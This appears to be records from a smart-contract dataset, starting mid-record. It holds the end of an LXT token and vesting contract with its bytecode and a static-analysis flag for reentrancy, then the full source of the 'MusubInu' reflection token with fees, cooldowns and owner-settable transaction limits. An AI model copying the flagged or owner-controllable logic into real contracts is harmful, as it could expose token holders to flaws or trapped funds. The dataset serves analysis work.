totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, 0x0, _value); } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner { assert(msg.sender == owner); _; } } /** * @title TokenVesting * @dev A token holder contract that can release its token balance gradually like a * typical vesting scheme, with a cliff and vesting period. Optionally revocable by the * owner. */ contract TokenVesting is Ownable { using SafeMath for uint256; using SafeERC20 for ERC20Basic; event Released(uint256 amount); event Revoked(); // beneficiary of tokens after they are released address public beneficiary; uint256 public cliff; uint256 public start; uint256 public duration; bool public revocable; mapping (address => uint256) public released; mapping (address => bool) public revoked; /** * @dev Creates a vesting contract that vests its balance of any ERC20 token to the * _beneficiary, gradually in a linear fashion until _start + _duration. By then all * of the balance will have vested. * @param _beneficiary address of the beneficiary to whom vested tokens are transferred * @param _cliff duration in seconds of the cliff in which tokens will begin to vest * @param _duration duration in seconds of the period in which the tokens will vest * @param _revocable whether the vesting is revocable or not */ constructor(address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable) public { require(_beneficiary != address(0)); require(_cliff <= _duration); beneficiary = _beneficiary; revocable = _revocable; duration = _duration; cliff = _start.add(_cliff); start = _start; } /** * @notice Transfers vested tokens to beneficiary. * @param token ERC20 token which is being vested */ function release(ERC20Basic token) public { uint256 unreleased = releasableAmount(token); require(unreleased > 0); released[token] = released[token].add(unreleased); token.safeTransfer(beneficiary, unreleased); emit Released(unreleased); } /** * @notice Allows the owner to revoke the vesting. Tokens already vested * remain in the contract, the rest are returned to the owner. * @param token ERC20 token which is being vested */ function revoke(ERC20Basic token) public onlyOwner { require(revocable); require(!revoked[token]); uint256 balance = token.balanceOf(this); uint256 unreleased = releasableAmount(token); uint256 refund = balance.sub(unreleased); revoked[token] = true; token.safeTransfer(owner, refund); emit Revoked(); } /** * @dev Calculates the amount that has already vested but hasn&#39;t been released yet. * @param token ERC20 token which is being vested */ function releasableAmount(ERC20Basic token) public view returns (uint256) { return vestedAmount(token).sub(released[token]); } /** * @dev Calculates the amount that has already vested. * @param token ERC20 token which is being vested */ function vestedAmount(ERC20Basic token) public view returns (uint256) { uint256 currentBalance = token.balanceOf(this); uint256 totalBalance = currentBalance.add(released[token]); if (now < cliff) { return 0; } else if (now >= start.add(duration) || revoked[token]) { return totalBalance; } else { return totalBalance.mul(now.sub(start)).div(duration); } } } contract LccxToken is BurnableToken, Ownable { string public constant name = "London Exchange Token"; string public constant symbol = "LXT"; uint8 public constant decimals = 18; /// Maximum tokens to be allocated (100 million) uint256 public constant HARD_CAP = 100000000 * 10**uint256(decimals); /// This address is owned by the LCCX team address public lccxTeamAddress; /// This address is used to keep the vested team tokens address public lccxTeamTokensVesting; /// This address is used to keep the tokens for sale address public saleTokensAddress; /// This address is used to keep the advisors and early investors tokens address public advisorsTokensAddress; /// This address is used to keep the bounty and referral tokens address public referralTokensAddress; /// when the token sale is closed, the unsold tokens are burnt bool public saleClosed = false; /// Only allowed to execute before the token sale is closed modifier beforeSaleClosed { require(!saleClosed); _; } constructor(address _lccxTeamAddress, address _advisorsTokensAddress, address _referralTokensAddress, address _saleTokensAddress) public { require(_lccxTeamAddress != address(0)); require(_advisorsTokensAddress != address(0)); require(_referralTokensAddress != address(0)); require(_saleTokensAddress != address(0)); lccxTeamAddress = _lccxTeamAddress; advisorsTokensAddress = _advisorsTokensAddress; saleTokensAddress = _saleTokensAddress; referralTokensAddress = _referralTokensAddress; /// Maximum tokens to be allocated on the sale /// 60M LXT uint256 saleTokens = 60000000 * 10**uint256(decimals); totalSupply = saleTokens; balances[saleTokensAddress] = saleTokens; emit Transfer(0x0, saleTokensAddress, saleTokens); /// Bounty and referral tokens - 8M LXT uint256 referralTokens = 8000000 * 10**uint256(decimals); totalSupply = totalSupply.add(referralTokens); balances[referralTokensAddress] = referralTokens; emit Transfer(0x0, referralTokensAddress, referralTokens); /// Advisors tokens - 14M LXT uint256 advisorsTokens = 14000000 * 10**uint256(decimals); totalSupply = totalSupply.add(advisorsTokens); balances[advisorsTokensAddress] = advisorsTokens; emit Transfer(0x0, advisorsTokensAddress, advisorsTokens); /// Team tokens - 18M LXT uint256 teamTokens = 18000000 * 10**uint256(decimals); totalSupply = totalSupply.add(teamTokens); lccxTeamTokensVesting = address(new TokenVesting(lccxTeamAddress, now, 30 days, 540 days, false)); balances[lccxTeamTokensVesting] = teamTokens; emit Transfer(0x0, lccxTeamTokensVesting, teamTokens); require(totalSupply <= HARD_CAP); } /// @dev Close the token sale function closeSale() external onlyOwner beforeSaleClosed { uint256 unsoldTokens = balances[saleTokensAddress]; if(unsoldTokens > 0) { balances[saleTokensAddress] = 0; totalSupply = totalSupply.sub(unsoldTokens); emit Burn(saleTokensAddress, unsoldTokens); emit Transfer(saleTokensAddress, 0x0, unsoldTokens); } saleClosed = true; } }
0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461012d578063095ea7b3146101bd57806318160ddd1461022257806323b872dd1461024d57806327e235e3146102d2578063313ce567146103295780633a03171c1461035a57806342966c681461038557806366188463146103b25780636aebff5d1461041757806370a082311461046e5780638da5cb5b146104c55780638f4d874a1461051c57806395d89b4114610573578063a9059cbb14610603578063afa3174414610668578063b8c766b8146106bf578063d20f5029146106ee578063d73dd62314610745578063dd62ed3e146107aa578063ee55efee14610821578063f57fc26a14610838575b600080fd5b34801561013957600080fd5b5061014261088f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610182578082015181840152602081019050610167565b50505050905090810190601f1680156101af5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c957600080fd5b50610208600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108c8565b604051808215151515815260200191505060405180910390f35b34801561022e57600080fd5b506102376109ba565b6040518082815260200191505060405180910390f35b34801561025957600080fd5b506102b8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109c0565b604051808215151515815260200191505060405180910390f35b3480156102de57600080fd5b50610313600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d7f565b6040518082815260200191505060405180910390f35b34801561033557600080fd5b5061033e610d97565b604051808260ff1660ff16815260200191505060405180910390f35b34801561036657600080fd5b5061036f610d9c565b6040518082815260200191505060405180910390f35b34801561039157600080fd5b506103b060048036038101908080359060200190929190505050610dad565b005b3480156103be57600080fd5b506103fd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f60565b604051808215151515815260200191505060405180910390f35b34801561042357600080fd5b5061042c6111f1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047a57600080fd5b506104af600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611217565b6040518082815260200191505060405180910390f35b3480156104d157600080fd5b506104da611260565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561052857600080fd5b50610531611286565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561057f57600080fd5b506105886112ac565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105c85780820151818401526020810190506105ad565b50505050905090810190601f1680156105f55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561060f57600080fd5b5061064e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112e5565b604051808215151515815260200191505060405180910390f35b34801561067457600080fd5b5061067d611509565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106cb57600080fd5b506106d461152f565b604051808215151515815260200191505060405180910390f35b3480156106fa57600080fd5b50610703611542565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561075157600080fd5b50610790600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611568565b604051808215151515815260200191505060405180910390f35b3480156107b657600080fd5b5061080b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611764565b6040518082815260200191505060405180910390f35b34801561082d57600080fd5b506108366117eb565b005b34801561084457600080fd5b5061084d611a52565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6040805190810160405280601581526020017f4c6f6e646f6e2045786368616e676520546f6b656e000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156109fd57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a4b57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610ad657600080fd5b610b2882600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7890919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bbd82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a9490919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c8f82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7890919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60016020528060005260406000206000915090505481565b601281565b601260ff16600a0a6305f5e1000281565b60008082111515610dbd57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610e0b57600080fd5b339050610e6082600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7890919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610eb882600054611a7890919063ffffffff16565b6000819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260008173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611071576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611105565b6110848382611a7890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f4c5854000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561132257600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561137057600080fd5b6113c282600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7890919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061145782600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a9490919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860149054906101000a900460ff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006115f982600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a9490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561184657fe5b600860149054906101000a900460ff1615151561186257600080fd5b60016000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811115611a3457600060016000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061194b81600054611a7890919063ffffffff16565b600081905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a26000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b6001600860146101000a81548160ff02191690831515021790555050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000828211151515611a8957600080fd5b818303905092915050565b6000808284019050838110151515611aab57600080fd5b80915050929150505600a165627a7a7230582080c4e5747b8c68c6b9f9ffd2a25336b0401d24bf49f46656e0336c9359406b920029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
4,886
0xbe5ba9b2f28618fcc257e440b720775abd5933e8
/** __ __ __ __ _______ __ __ _______ ___ ___ __ _ __ __ | |_| || | | || || | | || _ || | | | | | | || | | | | || | | || _____|| | | || |_| || | | | | |_| || | | | | || |_| || |_____ | |_| || || | | | | || |_| | | || ||_____ || || _ | | | | | | _ || | | ||_|| || | _____| || || |_| || | | | | | | || | |_| |_||_______||_______||_______||_______||___| |___| |_| |__||_______| Fatty, salty, and super rich, Musubi Inu is a cozy bite wrapped up in a safe package! Token Information 1. 100,000,000,000 Total Supply 3. NO DEV TOKENS, NO PRESALE TOKENS! 4. Developer provides LP! 5. 30-second buy cooldown at launch, permanent 90-second sell cooldown 6. 2,000,000,000 max buy at launch, permanent 3,000,000,000 max sell (per transaction) 6. 5% redistribution to holders 7. 10% developer fee, split amongst team Telegram: t.me/MusubInu Twitter: https://twitter.com/MusubInuToken */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MUSUBINU is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "MusubInu"; string private constant _symbol = 'MUSUBINU'; uint8 private constant _decimals = 9; uint256 private _taxFee = 5; uint256 private _teamFee = 10; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private buyCooldownEnabled = false; bool private sellCooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setBuyCooldownEnabled(bool onoff) external onlyOwner() { buyCooldownEnabled = onoff; } function setSellCooldownEnabled(bool onoff) external onlyOwner() { sellCooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(amount <= _maxTxAmount, "Too many tokens."); // to buyer if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && buyCooldownEnabled) { require(tradingOpen, "Trading not yet enabled."); require(cooldown[to] < block.timestamp, "Your transaction cooldown has not expired."); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); // from seller if (!inSwap && from != uniswapV2Pair && tradingOpen) { require(amount <= 3e9 * 10**9); if(sellCooldownEnabled) { require(cooldown[from] < block.timestamp, "Your transaction cooldown has not expired."); cooldown[from] = block.timestamp + (90 seconds); } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); buyCooldownEnabled = true; sellCooldownEnabled = true; _maxTxAmount = 2e9 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxAmount(uint256 amount) external onlyOwner() { require(amount > 0, "Amount must be greater than 0"); _maxTxAmount = amount; emit MaxTxAmountUpdated(_maxTxAmount); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function maxTxAmount() public view returns (uint) { return _maxTxAmount; } function sellCooldown() public view returns (bool) { return sellCooldownEnabled; } function buyCooldown() public view returns (bool) { return buyCooldownEnabled; } }
